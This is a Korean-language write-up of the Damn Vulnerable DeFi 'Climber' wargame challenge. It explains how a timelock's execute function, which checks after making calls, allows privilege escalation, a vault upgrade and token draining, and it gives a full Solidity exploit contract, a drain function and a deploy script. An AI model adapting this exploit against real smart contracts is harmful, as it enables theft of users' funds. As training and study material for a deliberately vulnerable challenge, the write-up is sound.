Damn Vulnerable DeFi-Climber
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
checks-effects-interactions을 준수하지 않아 재진입이 가능하다. Privilege escalation 하여 임의 작업을 실행할 수 있다. upgradeable 컨트랙트를 업그레이드하여 토큰을 탈취할 수 있다.
Keyword
reentrancy attack, access control, upgradeable, arbitrary contract call, theft, timelock
Vulnerability
There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern. The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days. On the vault there’s an additional role with powers to sweep all tokens in case of an emergency. On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later. To pass this challenge, take all tokens from the vault.
ClimberTimelock 은 등록된 컨트랙트 콜을 실행할 수 있다. 이 때, 컨트랙트 콜을 등록할 수 있는 자격은 Proposer로 정해져있다. 하지만 컨트랙트콜을 실행하는 execute 함수에서 checks-effects-interactions 패턴을 준수하지 않아 재진입 공격이 가능하다.
다음은 ClimberTimelock execute 함수이다.
/**
* Anyone can execute what's been scheduled via `schedule`
*/
// @note 미리 스케줄 된것만 실행되어야 함. 아무나 실행 가능.
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
if (targets.length <= MIN_TARGETS) {
revert InvalidTargetsCount();
}
if (targets.length != values.length) {
revert InvalidValuesCount();
}
if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length;) {
// @audit 재진입 가능
// @audit 재진입하여 schedule 호출하면 아래 체크 우회 가능
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}
// @audit checks-effects-interactions 준수하지 않음
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
operations[id].executed = true;
}실제로 등록된 작업인지 확인하는 작업을 먼저 하지 않는다. targets[i].functionCallWithValue(dataElements[i], values[i]); 에서 schedule 를 호출하면 아래쪽의 if (getOperationState(id) != OperationState.ReadyForExecution) 체크를 우회할 수 있다.
schedule 을 호출하기 위해서는 PROPOSER_ROLE 자격을 얻을 필요가 있다. ClimberTimelock 컨트랙트에게는 ADMIN_ROLE 이 존재하므로 롤을 설정할 권한이 있다. 이를 이용하여 PoC 컨트랙트에게 PROPOSER_ROLE 을 부여한다.
다음은 ClimberTimelock constructor 이다.
constructor(address admin, address proposer) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
_setupRole(ADMIN_ROLE, admin);
// @audit-info 컨트랙트 자신이 룰 어드민이므로, execute를 통해 grant 가능
_setupRole(ADMIN_ROLE, address(this)); // self administration
_setupRole(PROPOSER_ROLE, proposer);
delay = 1 hours;
}CliberVault는 UUPSUpgradeable 을 이용하였으며, owner만이 업그레이드를할 수 있다. CliberVault 의 initailize 함수에서 owner를 ClimberTimelock 컨트랙트로 지정한다. 즉, execute를 이용하여 업그레이드할 수 있다.
function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
// @audit owner가 timelock이므로, 예약을 통해 업그레이드 가능
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}이를 종합하여 다음과 같은 PoC 컨트랙트를 작성했다. 새로 등록한 작업을 바로 실행할 수 있도록 delay를 삭제하고, 공격자에게 PROPOSER_ROLE 을 주어 작업을 등록할 자격을 주었다. 이후 토큰을 전부 빼내는 함수를 추가하여 Vault를 업그레이드 했다. 마지막으로, 이 작업을 등록하여 체크를 우회했다.
다음은 PoC 컨트랙트이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberTimelock.sol";
import "./ClimberVaultV2.sol";
contract ClimberPoC {
ClimberTimelock timelock;
ClimberVaultV2 vault;
address newImplementation;
address owner;
address token;
constructor(ClimberTimelock _timelock, ClimberVaultV2 _vault, address _token) {
timelock = _timelock;
vault = _vault;
newImplementation = address(new ClimberVaultV2());
token = _token;
owner = msg.sender;
}
function exploit() public {
address[] memory targets = new address[](4);
targets[0] = address(timelock); // 딜레이 삭제
targets[1] = address(timelock); // PROPOSER_ROLE 얻기
targets[2] = address(vault); // vault upgrade
targets[3] = address(this); // schedule 등록 (방금 작업을 등록) - proposer를 얻은 PoC 컨트랙트에서 등록
uint256[] memory values = new uint256[](4);
values[0] = 0;
values[1] = 0;
values[2] = 0;
values[3] = 0;
bytes[] memory dataElements = new bytes[](4);
dataElements[0] = abi.encodeWithSelector( // 딜레이 삭제
ClimberTimelock.updateDelay.selector,
0
);
dataElements[1] = abi.encodeWithSelector( // PROPOSER_ROLE 얻기
AccessControl.grantRole.selector,
PROPOSER_ROLE,
address(this)
);
dataElements[2] = abi.encodeWithSelector( // vault upgrade
UUPSUpgradeable.upgradeTo.selector,
newImplementation
);
dataElements[3] = abi.encodeWithSelector( // schedule 등록 (방금 작업을 등록) - proposer를 얻은 PoC 컨트랙트에서 등록
this.schedule.selector
);
timelock.execute(
targets,
values,
dataElements,
0 // salt
);
// 토큰 탈취
vault.withdrawAll(token, owner);
}
function schedule() public {
address[] memory targets = new address[](4);
targets[0] = address(timelock); // 딜레이 삭제
targets[1] = address(timelock); // PROPOSER_ROLE 얻기
targets[2] = address(vault); // vault upgrade
targets[3] = address(this); // schedule 등록 (방금 작업을 등록) - proposer를 얻은 PoC 컨트랙트에서 등록
uint256[] memory values = new uint256[](4);
values[0] = 0;
values[1] = 0;
values[2] = 0;
values[3] = 0;
bytes[] memory dataElements = new bytes[](4);
dataElements[0] = abi.encodeWithSelector( // 딜레이 삭제
ClimberTimelock.updateDelay.selector,
0
);
dataElements[1] = abi.encodeWithSelector( // PROPOSER_ROLE 얻기
AccessControl.grantRole.selector,
PROPOSER_ROLE,
address(this)
);
dataElements[2] = abi.encodeWithSelector( // vault upgrade
UUPSUpgradeable.upgradeTo.selector,
newImplementation
);
dataElements[3] = abi.encodeWithSelector( // schedule 등록 (방금 작업을 등록) - proposer를 얻은 PoC 컨트랙트에서 등록
this.schedule.selector
);
timelock.schedule(
targets,
values,
dataElements,
0 // salt
);
}
}다음은 업그레이드한 Vault 컨트랙트에 추가한 함수이다. 공격자에게 토큰을 전부 전달한다.
function withdrawAll(address token, address _receiver) public {
SafeTransferLib.safeTransfer(token, _receiver, IERC20(token).balanceOf(address(this)));
}다음은 PoC 배포 및 실행 스크립트이다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const ClimberPoCFactory = await ethers.getContractFactory('ClimberPoC', player);
const climberPoC = await ClimberPoCFactory.deploy(timelock.address, vault.address, token.address);
await climberPoC.connect(player).exploit();
});Impact
Privilege escalation 하여 임의 작업을 실행할 수 있다. 이를 이용하여 토큰을 탈취할 수 있다.
Mitigation
execute 함수에서 checks-effects-interactions 패턴을 준수한다.
Memo
페이로드를 짜며 순환 오류가 발생했다. 처음에는 PoC 컨트랙트를 사용하지 않고 컨트랙트 콜만으로 PoC 해보려 했다. execute 함수에서 직접 schedule 를 호출하려 했고, 이에 의해 schedule 에는 execute 함수의 파라미터가 그대로 들어가야 하는 상황이 발생했다. schedule 함수의 파라미터는 execute 의 파라미터를 그대로 이용해야 하는데, execute 에 schedule 을 호출하는 파라미터가 들어가야 하며, 서로를 재귀적으로 참조하게 되었다. 이를 해결하기 위해 PoC 컨트랙트 함수를 짜서 의존성을 삭제했다.
tags: writeup, blockchain, solidity, smart contract, reentrancy, access control vulnerability, upgradeable, uups, arbitrary contract call, crypto theft, timelock